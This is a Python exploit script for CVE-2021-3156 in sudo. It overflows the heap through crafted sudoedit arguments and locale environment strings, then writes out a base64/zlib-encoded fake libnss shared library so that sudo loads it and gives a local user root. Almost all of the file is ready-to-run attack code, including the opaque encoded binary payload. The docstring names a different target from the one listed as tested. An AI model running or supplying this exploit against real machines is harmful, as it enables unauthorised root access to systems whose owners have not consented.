#!/usr/bin/python
'''
Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya

This exploit requires:
- glibc without tcache
- nscd service is not running
- only defaults /etc/nsswitch.conf (need adjust LC_* if changed)

Below is important struct that MUST be carefully overwritten
- Fake service_user before name_database_entry
- Overwrite only least significant byte of name_database_entry->service to NULL. a servive
  pointer point to fake service in overwritten area.

Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much.

Tested on:
- Debian 9.13
'''
import os

SUDO_PATH = b"/usr/bin/sudo"

def execve(filename, argv, envp):
	from ctypes import cdll, c_char_p, POINTER

	libc = cdll.LoadLibrary("libc.so.6")
	libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
	
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(env))(*envp)

	libc.execve(filename, cargv, cenvp)

def create_libx(name):
	so_path = 'libnss_'+name+'.so.2'
	if os.path.isfile(so_path):
		return  # existed
	
	so_dir = 'libnss_' + name.split('/')[0]
	if not os.path.exists(so_dir):
		os.makedirs(so_dir)
	
	import zlib
	import base64

	libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
	with open(so_path, 'wb') as f:
		f.write(zlib.decompress(base64.b64decode(libx_b64)))

def check_nsswitch():
	idx = 0
	found_passwd = False
	with open('/etc/nsswitch.conf', 'r') as f:
		for line in f:
			if line.startswith('#'):
				continue # comment
			line = line.strip()
			if not line:
				continue # empty line
			words = line.split()
			cnt = 0
			for word in words[1:]:
				if word[0] != '[':
					cnt += 1
			if words[0] == 'group:':
				if not found_passwd:
					return False
				return cnt == 1
			if words[0] == 'passwd:':
				if cnt != 1:
					return False
				found_passwd = True
			# TODO: should check all line because they might affect offset
			
	return False

assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong'
create_libx("X/X1234")

TARGET_CMND_SIZE = 0x30

argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ]

env = [
	b"A"*0x5e+b"\\",
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known
	b"X/X1234\\", # service_user->name
	b"A"*0x2f+b"\\",
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", 
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next
	"",  # overwrite last byte of service pointer to 0, so point back to above
	b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a",
	b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30,
	b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4,
	b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1,
	b"LANG=C.UTF-8@"+b"Z"*0xd0,
	None,
]

execve(SUDO_PATH, argv, env)
